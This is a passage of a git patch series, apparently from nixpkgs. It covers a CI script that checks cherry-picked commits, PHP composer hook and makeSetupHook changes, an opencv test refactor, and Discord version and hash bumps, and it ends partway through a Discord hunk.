+      // Using the last line with "cherry" + hash, because a chained backport
+      // can result in multiple of those lines. Only the last one counts.
+      const match = Array.from(
+        commit.message.matchAll(/cherry.*([0-9a-f]{40})/g),
+      ).at(-1)
+
+      if (!match)
+        return {
+          sha,
+          commit,
+          severity: 'warning',
+          message: `Couldn't locate original commit hash in message of ${sha}.`,
+        }
+
+      const original_sha = match[1]
+
+      let branches
+      try {
+        branches = (
+          await github.request({
+            // This is an undocumented endpoint to fetch the branches a commit is part of.
+            // There is no equivalent in neither the REST nor the GraphQL API.
+            // The endpoint itself is unlikely to go away, because GitHub uses it to display
+            // the list of branches on the detail page of a commit.
+            url: `https://github.com/${context.repo.owner}/${context.repo.repo}/branch_commits/${original_sha}`,
+            headers: {
+              accept: 'application/json',
+            },
+          })
+        ).data.branches
+          .map(({ branch }) => branch)
+          .filter((branch) => classify(branch).type.includes('development'))
+      } catch (e) {
+        // For some unknown reason a 404 error comes back as 500 without any more details in a GitHub Actions runner.
+        // Ignore these to return a regular error message below.
+        if (![404, 500].includes(e.status)) throw e
+      }
+      if (!branches?.length)
+        return {
+          sha,
+          commit,
+          severity: 'error',
+          message: `${original_sha} given in ${sha} not found in any pickable branch.`,
+        }
+
+      const diff = execFileSync('git', [
+        '-C',
+        __dirname,
+        'range-diff',
+        '--no-color',
+        '--no-notes',
+        '--creation-factor=100',
+        `${original_sha}~..${original_sha}`,
+        `${sha}~..${sha}`,
+      ])
+        .toString()
+        .split('\n')
+        // First line contains commit SHAs, which we'll print separately.
+        .slice(1)
+        // # The output of `git range-diff` is indented with 4 spaces, but we'll control indentation manually.
+        .map((line) => line.replace(/^ {4}/, ''))
+
+      if (!diff.some((line) => line.match(/^[+-]{2}/)))
+        return {
+          sha,
+          commit,
+          severity: 'info',
+          message: `✔ ${original_sha} is highly similar to ${sha}.`,
+        }
+
+      const colored_diff = execFileSync('git', [
+        '-C',
+        __dirname,
+        'range-diff',
+        '--color',
+        '--no-notes',
+        '--creation-factor=100',
+        `${original_sha}~..${original_sha}`,
+        `${sha}~..${sha}`,
+      ]).toString()
+
+      return {
+        sha,
+        commit,
+        diff,
+        colored_diff,
+        severity: 'warning',
+        message: `Difference between ${sha} and original ${original_sha} may warrant inspection.`,
+      }
+    }
+
+    const commits = await github.paginate(github.rest.pulls.listCommits, {
+      ...context.repo,
+      pull_number: context.payload.pull_request.number,
+    })
+
+    const results = await Promise.all(commits.map(handle))
+
+    // Log all results without truncation and with better highlighting to the job log.
+    results.forEach(({ sha, commit, severity, message, colored_diff }) => {
+      core.startGroup(`Commit ${sha}`)
+      core.info(`Author: ${commit.author.name} ${commit.author.email}`)
+      core.info(`Date: ${new Date(commit.author.date)}`)
+      core[severity](message)
+      core.endGroup()
+      if (colored_diff) core.info(colored_diff)
+    })
+
+    // Only create step summary below in case of warnings or errors.
+    if (results.every(({ severity }) => severity == 'info')) return
+    else process.exitCode = 1
+
+    core.summary.addRaw(
+      await readFile(join(__dirname, 'check-cherry-picks.md'), 'utf-8'),
+      true,
+    )
+    results.forEach(({ severity, message, diff }) => {
+      if (severity == 'info') return
+
+      // The docs for markdown alerts only show examples with markdown blockquote syntax, like this:
+      //   > [!WARNING]
+      //   > message
+      // However, our testing shows that this also works with a `<blockquote>` html tag, as long as there
+      // is an empty line:
+      //   <blockquote>
+      //
+      //   [!WARNING]
+      //   message
+      //   </blockquote>
+      // Whether this is intended or just an implementation detail is unclear.
+      core.summary.addRaw('<blockquote>')
+      core.summary.addRaw(
+        `\n\n[!${severity == 'warning' ? 'WARNING' : 'CAUTION'}]`,
+        true,
+      )
+      core.summary.addRaw(`${message}`, true)
+
+      if (diff) {
+        // Limit the output to 10k bytes and remove the last, potentially incomplete line, because GitHub
+        // comments are limited in length. The value of 10k is arbitrary with the assumption, that after
+        // the range-diff becomes a certain size, a reviewer is better off reviewing the regular diff in
+        // GitHub's UI anyway, thus treating the commit as "new" and not cherry-picked.
+        // Note: if multiple commits are close to the limit, this approach could still lead to a comment
+        // that's too long. We think this is unlikely to happen, and so don't deal with it explicitly.
+        const truncated = []
+        let total_length = 0
+        for (line of diff) {
+          total_length += line.length
+          if (total_length > 10000) {
+            truncated.push('', '[...truncated...]')
+            break
+          } else {
+            truncated.push(line)
+          }
+        }
+
+        core.summary.addRaw('<details><summary>Show diff</summary>')
+        core.summary.addRaw('\n\n```diff', true)
+        core.summary.addRaw(truncated.join('\n'), true)
+        core.summary.addRaw('```', true)
+        core.summary.addRaw('</details>')
+      }
+
+      core.summary.addRaw('</blockquote>')
+    })
+
+    if (job_url)
+      core.summary.addRaw(
+        `\n\n_Hint: The full diffs are also available in the [runner logs](${job_url}) with slightly better highlighting._`,
+      )
+
+    // Write to disk temporarily for next step in GHA.
+    await writeFile('review.md', core.summary.stringify())
+
+    core.summary.write()
+  })
+}
diff --git a/ci/github-script/run b/ci/github-script/run
index 03309352aeee..3fe6e189eb96 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -1,13 +1,13 @@
 #!/usr/bin/env -S node --import ./run
 import { execSync } from 'node:child_process'
-import { mkdtempSync, rmSync } from 'node:fs'
+import { closeSync, mkdtempSync, openSync, rmSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
 import { program } from 'commander'
 import * as core from '@actions/core'
 import { getOctokit } from '@actions/github'
 
-async function run(action, owner, repo, pull_number, dry) {
+async function run(action, owner, repo, pull_number, dry = true) {
   const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
 
   const github = getOctokit(token)
@@ -20,29 +20,36 @@ async function run(action, owner, repo, pull_number, dry) {
     })).data
   }
 
-  const tmp = mkdtempSync(join(tmpdir(), 'github-script-'))
-  try {
-    process.env.GITHUB_WORKSPACE = tmp
-    process.env['INPUT_GITHUB-TOKEN'] = token
-    process.chdir(tmp)
+  process.env['INPUT_GITHUB-TOKEN'] = token
 
-    await action({
-      github,
-      context: {
-        payload,
-        repo: {
-          owner,
-          repo,
-        },
+  closeSync(openSync('step-summary.md', 'w'))
+  process.env.GITHUB_STEP_SUMMARY = 'step-summary.md'
+
+  await action({
+    github,
+    context: {
+      payload,
+      repo: {
+        owner,
+        repo,
       },
-      core,
-      dry,
-    })
-  } finally {
-    rmSync(tmp, { recursive: true })
-  }
+    },
+    core,
+    dry,
+  })
 }
 
+program
+  .command('commits')
+  .description('Check commit structure of a pull request.')
+  .argument('<owner>', 'Owner of the GitHub repository to check (Example: NixOS)')
+  .argument('<repo>', 'Name of the GitHub repository to check (Example: nixpkgs)')
+  .argument('<pr>', 'Number of the Pull Request to check')
+  .action(async (owner, repo, pr) => {
+    const commits = (await import('./commits.js')).default
+    run(commits, owner, repo, pr)
+  })
+
 program
   .command('labels')
   .description('Manage labels on pull requests.')
@@ -52,7 +59,14 @@ program
   .option('--no-dry', 'Make actual modifications')
   .action(async (owner, repo, pr, options) => {
     const labels = (await import('./labels.js')).default
-    run(labels, owner, repo, pr, options.dry)
+    const tmp = mkdtempSync(join(tmpdir(), 'github-script-'))
+    try {
+      process.env.GITHUB_WORKSPACE = tmp
+      process.chdir(tmp)
+      run(labels, owner, repo, pr, options.dry)
+    } finally {
+      rmSync(tmp, { recursive: true })
+    }
   })
 
 await program.parse()
diff --git a/ci/github-script/withRateLimit.js b/ci/github-script/withRateLimit.js
index 03fbd54291a8..ff97c7173fcf 100644
--- a/ci/github-script/withRateLimit.js
+++ b/ci/github-script/withRateLimit.js
@@ -20,6 +20,8 @@ module.exports = async function ({ github, core }, callback) {
   // Pause between mutative requests
   const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
   github.hook.wrap('request', async (request, options) => {
+    // Requests to a different host do not count against the rate limit.
+    if (options.url.startsWith('https://github.com')) return request(options)
     // Requests to the /rate_limit endpoint do not count against the rate limit.
     if (options.url == '/rate_limit') return request(options)
     // Search requests are in a different resource group, which allows 30 requests / minute.

From 3b64f1c2850cf32328fd2a36340a0af331f4e5fe Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Wed, 16 Jul 2025 13:38:58 +0200
Subject: [PATCH 2497/4511] buildComposerProject: Drop moreutils dependency

(cherry picked from commit 2de11e1e9620fb7695abc3d8f40ae0b0f3dea444)
---
 pkgs/build-support/php/builders/v1/hooks/default.nix | 4 ----
 pkgs/build-support/php/builders/v2/hooks/default.nix | 3 ---
 2 files changed, 7 deletions(-)

diff --git a/pkgs/build-support/php/builders/v1/hooks/default.nix b/pkgs/build-support/php/builders/v1/hooks/default.nix
index d10ff7806727..d04d57725dc8 100644
--- a/pkgs/build-support/php/builders/v1/hooks/default.nix
+++ b/pkgs/build-support/php/builders/v1/hooks/default.nix
@@ -3,7 +3,6 @@
   makeSetupHook,
   jq,
   writeShellApplication,
-  moreutils,
   cacert,
   buildPackages,
 }:
@@ -20,7 +19,6 @@ in
     name = "composer-repository-hook.sh";
     propagatedBuildInputs = [
       jq
-      moreutils
       cacert
     ];
     substitutions = {
@@ -32,7 +30,6 @@ in
     name = "composer-install-hook.sh";
     propagatedBuildInputs = [
       jq
-      moreutils
       cacert
     ];
     substitutions = {
@@ -47,7 +44,6 @@ in
     name = "composer-with-plugin-vendor-hook.sh";
     propagatedBuildInputs = [
       jq
-      moreutils
       cacert
     ];
     substitutions = {
diff --git a/pkgs/build-support/php/builders/v2/hooks/default.nix b/pkgs/build-support/php/builders/v2/hooks/default.nix
index e4d6dcd8ffc7..fad926efcf5f 100644
--- a/pkgs/build-support/php/builders/v2/hooks/default.nix
+++ b/pkgs/build-support/php/builders/v2/hooks/default.nix
@@ -3,7 +3,6 @@
   makeSetupHook,
   jq,
   writeShellApplication,
-  moreutils,
   cacert,
   buildPackages,
 }:
@@ -20,7 +19,6 @@ in
     name = "composer-vendor-hook.sh";
     propagatedBuildInputs = [
       jq
-      moreutils
       cacert
     ];
     substitutions = {
@@ -32,7 +30,6 @@ in
     name = "composer-install-hook.sh";
     propagatedBuildInputs = [
       jq
-      moreutils
       cacert
     ];
     substitutions = {

From f1388e7792668a418a1cefd84fd253b31e7a55d7 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Wed, 16 Jul 2025 15:45:36 +0200
Subject: [PATCH 2498/4511] buildComposerProject: change propagatedBuildInputs
 to propagatedNativeBuildInputs

(cherry picked from commit 3e2c2cd8f45e8b360fd09e44ae6c95b511fc2fa5)
---
 pkgs/build-support/php/builders/v1/hooks/default.nix | 6 +++---
 pkgs/build-support/php/builders/v2/hooks/default.nix | 4 ++--
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/build-support/php/builders/v1/hooks/default.nix b/pkgs/build-support/php/builders/v1/hooks/default.nix
index d04d57725dc8..20c81442c834 100644
--- a/pkgs/build-support/php/builders/v1/hooks/default.nix
+++ b/pkgs/build-support/php/builders/v1/hooks/default.nix
@@ -17,7 +17,7 @@ in
 {
   composerRepositoryHook = makeSetupHook {
     name = "composer-repository-hook.sh";
-    propagatedBuildInputs = [
+    propagatedNativeBuildInputs = [
       jq
       cacert
     ];
@@ -28,7 +28,7 @@ in
 
   composerInstallHook = makeSetupHook {
     name = "composer-install-hook.sh";
-    propagatedBuildInputs = [
+    propagatedNativeBuildInputs = [
       jq
       cacert
     ];
@@ -42,7 +42,7 @@ in
 
   composerWithPluginVendorHook = makeSetupHook {
     name = "composer-with-plugin-vendor-hook.sh";
-    propagatedBuildInputs = [
+    propagatedNativeBuildInputs = [
       jq
       cacert
     ];
diff --git a/pkgs/build-support/php/builders/v2/hooks/default.nix b/pkgs/build-support/php/builders/v2/hooks/default.nix
index fad926efcf5f..093cea6fd197 100644
--- a/pkgs/build-support/php/builders/v2/hooks/default.nix
+++ b/pkgs/build-support/php/builders/v2/hooks/default.nix
@@ -17,7 +17,7 @@ in
 {
   composerVendorHook = makeSetupHook {
     name = "composer-vendor-hook.sh";
-    propagatedBuildInputs = [
+    propagatedNativeBuildInputs = [
       jq
       cacert
     ];
@@ -28,7 +28,7 @@ in
 
   composerInstallHook = makeSetupHook {
     name = "composer-install-hook.sh";
-    propagatedBuildInputs = [
+    propagatedNativeBuildInputs = [
       jq
       cacert
     ];

From a8e7588724132eb9f2507cdc96de3c71f2559dcf Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Wed, 16 Jul 2025 15:59:07 +0200
Subject: [PATCH 2499/4511] makeSetupHook: add propagatedNativeBuildInputs
 argument

(cherry picked from commit 1c840ff21d41136e3e7c6aa880a9f10ef4376a07)
---
 pkgs/build-support/trivial-builders/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/build-support/trivial-builders/default.nix b/pkgs/build-support/trivial-builders/default.nix
index 1b9e799551c9..8d1f561d6cde 100644
--- a/pkgs/build-support/trivial-builders/default.nix
+++ b/pkgs/build-support/trivial-builders/default.nix
@@ -740,6 +740,7 @@ rec {
       name ? lib.warn "calling makeSetupHook without passing a name is deprecated." "hook",
       # hooks go in nativeBuildInputs so these will be nativeBuildInputs
       propagatedBuildInputs ? [ ],
+      propagatedNativeBuildInputs ? [ ],
       # these will be buildInputs
       depsTargetTargetPropagated ? [ ],
       meta ? { },
@@ -758,6 +759,7 @@ rec {
           inherit meta;
           inherit depsTargetTargetPropagated;
           inherit propagatedBuildInputs;
+          inherit propagatedNativeBuildInputs;
           strictDeps = true;
           # TODO 2023-01, no backport: simplify to inherit passthru;
           passthru =

From fb86c2363c1921a090c2aeb9d00c641d85e16011 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Thu, 3 Jul 2025 20:42:49 +0000
Subject: [PATCH 2500/4511] opencv.passthru.tests.opencv4-tests: refactor and
 fix CUDA tests

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit f4fe5e45a0e7248abe2ff45129c68e128731c8ea)
---
 pkgs/development/libraries/opencv/tests.nix | 174 +++++++++++++-------
 1 file changed, 110 insertions(+), 64 deletions(-)

diff --git a/pkgs/development/libraries/opencv/tests.nix b/pkgs/development/libraries/opencv/tests.nix
index ca4c9631dc51..040554a6683b 100644
--- a/pkgs/development/libraries/opencv/tests.nix
+++ b/pkgs/development/libraries/opencv/tests.nix
@@ -1,85 +1,131 @@
 {
-  opencv4,
-  testDataSrc,
-  stdenv,
-  lib,
-  runCommand,
-  gst_all_1,
-  runAccuracyTests,
-  runPerformanceTests,
   enableGStreamer,
   enableGtk2,
   enableGtk3,
+  gst_all_1,
+  lib,
+  opencv4,
+  runAccuracyTests,
+  runCommand,
+  runPerformanceTests,
+  stdenv,
+  testDataSrc,
+  writableTmpDirAsHomeHook,
   xvfb-run,
 }:
 let
-  testNames =
-    [
+  inherit (lib) getExe optionals optionalString;
+  inherit (opencv4.passthru) cudaSupport;
+  inherit (stdenv.hostPlatform) isAarch64 isDarwin;
+in
+runCommand "opencv4-tests"
+  {
+    __structuredAttrs = true;
+    strictDeps = true;
+
+    nativeBuildInputs =
+      [ writableTmpDirAsHomeHook ]
+      ++ optionals enableGStreamer (
+        with gst_all_1;
+        [
+          gstreamer
+          gst-plugins-base
+          gst-plugins-good
+        ]
+      );
+
+    ignoredTests =
+      [
+        "AsyncAPICancelation/cancel*"
+        "Photo_CalibrateDebevec.regression"
+      ]
+      ++ optionals cudaSupport [
+        # opencv4-tests> /build/source/modules/photo/test/test_denoising.cuda.cpp:115: Failure
+        # opencv4-tests> The max difference between matrices "bgr_gold" and "dbgr" is 2 at (339, 486), which exceeds "1", where "bgr_gold" at (339, 486) evaluates to (182, 239, 239), "dbgr" at (339, 486) evaluates to (184, 239, 239), "1" evaluates to 1
+        # opencv4-tests> [  FAILED  ] CUDA_FastNonLocalMeans.Regression (48 ms)
+        "CUDA_FastNonLocalMeans.Regression"
+      ];
+
+    inherit runAccuracyTests;
+
+    accuracyTestNames =
+      [
+        "calib3d"
+        "core"
+        "features2d"
+        "flann"
+        "imgcodecs"
+        "imgproc"
+        "ml"
+        "objdetect"
+        "photo"
+        "stitching"
+        "video"
+        #"videoio" # - a lot of GStreamer warnings and failed tests
+        #"dnn" #- some caffe tests failed, probably because github workflow also downloads additional models
+      ]
+      ++ optionals (!isAarch64 && enableGStreamer) [ "gapi" ]
+      ++ optionals (enableGtk2 || enableGtk3) [ "highgui" ];
+
+    inherit runPerformanceTests;
+
+    performanceTestNames = [
       "calib3d"
       "core"
       "features2d"
-      "flann"
       "imgcodecs"
       "imgproc"
-      "ml"
       "objdetect"
       "photo"
       "stitching"
       "video"
-      #"videoio" # - a lot of GStreamer warnings and failed tests
-      #"dnn" #- some caffe tests failed, probably because github workflow also downloads additional models
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isAarch64 && enableGStreamer) [ "gapi" ]
-    ++ lib.optionals (enableGtk2 || enableGtk3) [ "highgui" ];
-  perfTestNames = [
-    "calib3d"
-    "core"
-    "features2d"
-    "imgcodecs"
-    "imgproc"
-    "objdetect"
-    "photo"
-    "stitching"
-    "video"
-  ] ++ lib.optionals (!stdenv.hostPlatform.isAarch64 && enableGStreamer) [ "gapi" ];
-  testRunner = lib.optionalString (!stdenv.hostPlatform.isDarwin) "${lib.getExe xvfb-run} -a ";
-  testsPreparation = ''
-    touch $out
+    ] ++ optionals (!isAarch64 && enableGStreamer) [ "gapi" ];
+
+    testRunner = optionalString (!isDarwin) "${getExe xvfb-run} -a ";
+
+    requiredSystemFeatures = optionals cudaSupport [ "cuda" ];
+  }
+  ''
+    set -euo pipefail
+
     # several tests want a write access, so we have to copy files
-    tmpPath="$(mktemp -d "/tmp/opencv_extra_XXXXXX")"
-    cp -R ${testDataSrc} $tmpPath/opencv_extra
-    chmod -R +w $tmpPath/opencv_extra
-    export OPENCV_TEST_DATA_PATH="$tmpPath/opencv_extra/testdata"
+    nixLog "Preparing test data"
+    cp -R "${testDataSrc}" "$HOME/opencv_extra"
+    chmod -R +w "$HOME/opencv_extra"
+    export OPENCV_TEST_DATA_PATH="$HOME/opencv_extra/testdata"
     export OPENCV_SAMPLES_DATA_PATH="${opencv4.package_tests}/samples/data"
 
     # ignored tests because of gtest error - "Test code is not available due to compilation error with GCC 11"
     # ignore test due to numerical instability
-    export GTEST_FILTER="-AsyncAPICancelation/cancel*:Photo_CalibrateDebevec.regression"
-  '';
-  accuracyTests = lib.optionalString runAccuracyTests ''
-    ${builtins.concatStringsSep "\n" (
-      map (
-        test:
-        "${testRunner}${opencv4.package_tests}/opencv_test_${test} --test_threads=$NIX_BUILD_CORES --gtest_filter=$GTEST_FILTER"
-      ) testNames
-    )}
-  '';
-  performanceTests = lib.optionalString runPerformanceTests ''
-    ${builtins.concatStringsSep "\n" (
-      map (
-        test:
-        "${testRunner}${opencv4.package_tests}/opencv_perf_${test} --perf_impl=plain --perf_min_samples=10 --perf_force_samples=10 --perf_verify_sanity --skip_unstable=1 --gtest_filter=$GTEST_FILTER"
-      ) perfTestNames
-    )}
-  '';
-in
-runCommand "opencv4-tests" {
-  nativeBuildInputs = lib.optionals enableGStreamer (
-    with gst_all_1;
-    [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-    ]
-  );
-} (testsPreparation + accuracyTests + performanceTests)
+    if [[ -n ''${ignoredTests+x} ]]; then
+      export GTEST_FILTER="-$(concatStringsSep ":" ignoredTests)"
+      nixLog "Using GTEST_FILTER: $GTEST_FILTER"
+    fi
+
+    if [[ -n $runAccuracyTests ]]; then
+      nixLog "Running accuracy tests"
+      for testName in "''${accuracyTestNames[@]}"; do
+        nixLog "Running accuracy test: $testName"
+        ''${testRunner}${opencv4.package_tests}/opencv_test_''${testName} \
+          --test_threads=$NIX_BUILD_CORES
+      done
+      nixLog "Finished running accuracy tests"
+    fi
+
+    if [[ -n $runPerformanceTests ]]; then
+      nixLog "Running performance tests"
+      for testName in "''${performanceTestNames[@]}"; do
+        nixLog "Running performance test: $testName"
+        ''${testRunner}${opencv4.package_tests}/opencv_perf_''${testName} \
+          --perf_impl=plain \
+          --perf_min_samples=10 \
+          --perf_force_samples=10 \
+          --perf_verify_sanity \
+          --skip_unstable=1
+      done
+      nixLog "Finished running performance tests"
+    fi
+
+    nixLog "Finished running tests"
+    touch "$out"
+  ''

From 350745163907065df9ac7fcf39ca0a4cb5c38661 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 10 Jul 2025 18:58:07 +0000
Subject: [PATCH 2501/4511] discord: 0.0.98 -> 0.0.101

(cherry picked from commit 2593d2eaa2967dc053096a2821e47787da458e85)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 814f697114d5..6722ca2b470f 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,7 +9,7 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.100";
+        stable = "0.0.101";
         ptb = "0.0.148";
         canary = "0.0.709";
         development = "0.0.81";
@@ -26,7 +26,7 @@ let
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-3trE9awddfB1ZasJQjbQc0xOoTqIRY0thEwL7Uz5+O8=";
+        hash = "sha256-FB6GiCM+vGyjZLtF0GjAIq8etK5FYyQVisWX6IzB4Zc=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";

From 6d741a5b5633380db422f4f1338dce6601053cc9 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 10 Jul 2025 18:59:49 +0000
Subject: [PATCH 2502/4511] discord-ptb: 0.0.148 -> 0.0.151

(cherry picked from commit 218f3140de5d3fe8823c2d58662ff3f2432971c7)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 6722ca2b470f..f3b4917251f5 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.101";
-        ptb = "0.0.148";
+        ptb = "0.0.151";
         canary = "0.0.709";
         development = "0.0.81";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-VRhcnjbC42nFZ3DepKNX75pBl0GeDaSWM1SGXJpuQs0=";
+        hash = "sha256-7fQFCPUj59c/OfuNa4RDxGexAKZXLL7M+7n36WE5qDg=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From 5708812e60eb2c9ea01b2e3675c9f63bc0c3ce90 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 10 Jul 2025 19:00:55 +0000
Subject: [PATCH 2503/4511] discord-canary: 0.0.709 -> 0.0.716

(cherry picked from commit 2d33835da9a6247c662e206241e42c486a60dcfc)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index f3b4917251f5..3ef665e03a1b 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.101";
         ptb = "0.0.151";
-        canary = "0.0.709";
+        canary = "0.0.716";
         development = "0.0.81";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-2lzXTuE+nkyw+GG9nAMxIIloAlEngY9Q6OKfbrWgFiI=";
+        hash = "sha256-W7uPrJRKY4I6nsdj/TNxT8kHh5ssn9KyCArhOhAlaH4=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From e8754f0ffbc50e8fc8647d0436c65da255f7e38a Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 10 Jul 2025 19:03:17 +0000
Subject: [PATCH 2504/4511] discord-development: 0.0.81 -> 0.0.83

(cherry picked from commit dec9a5b6670ab998fad09d8e361c042b87dfacd6)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 3ef665e03a1b..54df4dfcac5b 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -12,7 +12,7 @@ let
         stable = "0.0.101";
         ptb = "0.0.151";
         canary = "0.0.716";
-        development = "0.0.81";
+        development = "0.0.83";
       }
     else
       {
@@ -38,7 +38,7 @@ let
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";
-        hash = "sha256-njkuWtk+359feEYtWJSDukvbD5duXuRIr1m5cJVhNvs=";
+        hash = "sha256-KpZ90VekGf3KNpNpFfZlVXorv86yK1OuY0uqgBuWIQ4=";
       };
     };
     x86_64-darwin = {

From 82d2268f31fe2f3d361c2a498429c6290768e341 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 11 Jul 2025 16:36:40 +0000
Subject: [PATCH 2505/4511] pkgsCross.aarch64-darwin.discord: 0.0.350 ->
 0.0.353

(cherry picked from commit 4c4393dee8b09816f7e50f998208dc01f36a03bc)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 54df4dfcac5b..da370039c204 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -16,7 +16,7 @@ let
       }
     else
       {
-        stable = "0.0.350";
+        stable = "0.0.353";
         ptb = "0.0.179";
         canary = "0.0.808";
         development = "0.0.94";
@@ -44,7 +44,7 @@ let
     x86_64-darwin = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/osx/${version}/Discord.dmg";
-        hash = "sha256-Giz0bE16v2Q2jULcnZMI1AY8zyjZ03hw4KVpDPJOmCo=";
+        hash = "sha256-qHOLhPhHwN0fy1KiJroJvshlYExBDsuna2PddjtNyEI=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";

From 25d731988b224c0e12dadc83566d461aa20f8aa4 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 11 Jul 2025 16:38:23 +0000
Subject: [PATCH 2506/4511] pkgsCross.aarch64-darwin.discord-ptb: 0.0.179 ->
 0.0.181

(cherry picked from commit 0f38240de752755fecbe3494fe79ca7eb82f0b82)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index da370039c204..bde834bd33a6 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -17,7 +17,7 @@ let
     else
       {
         stable = "0.0.353";
-        ptb = "0.0.179";
+        ptb = "0.0.181";
         canary = "0.0.808";
         development = "0.0.94";
       };
@@ -48,7 +48,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";
-        hash = "sha256-tGE7HAcWLpGlv5oXO7NEELdRtNfbhlpQeNc5zB7ba1A=";
+        hash = "sha256-Q153X08crRpXZMMgNDYbADHnL7MiBPCakJxQe8Pl0Uo=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";

From a475d793919485dfc599529340e0f42004be4455 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 11 Jul 2025 16:39:30 +0000
Subject: [PATCH 2507/4511] pkgsCross.aarch64-darwin.discord-canary: 0.0.808 ->
 0.0.823

(cherry picked from commit a6a3d510f1b16af447fdbfdac58fe0810ce22cd4)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index bde834bd33a6..d27c5fa505bb 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -18,7 +18,7 @@ let
       {
         stable = "0.0.353";
         ptb = "0.0.181";
-        canary = "0.0.808";
+        canary = "0.0.823";
         development = "0.0.94";
       };
   version = versions.${branch};
@@ -52,7 +52,7 @@ let
       };
       canary = fetchurl {
